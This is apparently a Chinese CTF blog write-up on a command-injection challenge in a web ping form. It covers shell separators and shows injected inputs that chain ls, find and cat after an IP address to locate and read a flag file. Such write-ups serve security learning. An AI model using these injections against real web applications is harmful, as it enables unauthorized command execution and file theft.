首先掌握命令执行漏洞(Command Execution)的知识。
命令执行漏洞即使用者可以直接在Web应用中执行系统命令,从而获取敏感信息或者拿下shell权限。其造成的原因是Web服务器对用户输入命令安全检测不足(比如没加waf),导致恶意代码被执行。
ping用于确定本地主机是否能与另一台主机成功交换(发送与接收)数据包,再根据返回的信息,就可以推断TCP/IP参数是否设置正确,以及运行是否正常、网络是否通畅等
![](https://img-blog.csdnimg.cn/9ce475a2b1b347c9a63138cd9211dacc.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA55WZ5bCG5LiA6Z2i5LiO6Iqx,size_20,color_FFFFFF,t_70,g_se,x_16)
如题就是没写waf,用户输入的参数就能直接在系统中运行。
用本机127.0.0.1去ping一下看
![](https://img-blog.csdnimg.cn/a2e05d1a0fdb4e7d9c06d70ed7736e49.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA55WZ5bCG5LiA6Z2i5LiO6Iqx,size_20,color_FFFFFF,t_70,g_se,x_16)
发现有回显打印,说明ping成功了。然后我们可以将输入参数截断从而让其运行危险的参数。学习到常见的连接符:
; |
A;B |
先执行A,再执行B |
& |
A&B |
简单拼接,A B之间无制约关系 |
| |
A|B |
显示B的执行结果 |
&& |
A&&B |
A执行成功,然后才会执行B |
|| |
A||B |
A执行失败,然后才会执行B |
我们可以用&&将其截断,并用试一下ls命令能不能运行。
127.0.0.1&&ls
![](https://img-blog.csdnimg.cn/a94248d6b61c462ca76f8cd06cceb17f.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA55WZ5bCG5LiA6Z2i5LiO6Iqx,size_20,color_FFFFFF,t_70,g_se,x_16)
ls命令可以被运行,那就来找找文件名包含flag的文件。
127.0.0.1 && find / -name "flag*"
ps.补充寻找文件的命令:
# find / -name "flag*"
![](https://img-blog.csdnimg.cn/96d21e2779884d5985afb604841c118d.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA55WZ5bCG5LiA6Z2i5LiO6Iqx,size_20,color_FFFFFF,t_70,g_se,x_16)
127.0.0.1 && cat /home/flag.txt
![](https://img-blog.csdnimg.cn/e1e42be8e1c74771a4345f98f088c858.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA55WZ5bCG5LiA6Z2i5LiO6Iqx,size_20,color_FFFFFF,t_70,g_se,x_16)
找到了。
ps:有点不明白ping,再来了解一下。
ICMP是Internet控制报文协议。它是TCP/IP协议簇的一个子协议,用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。
而ICMP协议主要是靠ping工具来实现的。使用ping了之后会收到来自ip地址(也有可能是通过DNS把url给解析为ip地址)的回复。而ping本地的回环地址(127.0.0.1)的操作是检查本机的网卡,TCP/IP配置是否正确,也是使用ping工具的首要步骤。![](https://img-blog.csdnimg.cn/e5ea08075ff94bffb086d0afcaccd498.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA55WZ5bCG5LiA6Z2i5LiO6Iqx,size_20,color_FFFFFF,t_70,g_se,x_16)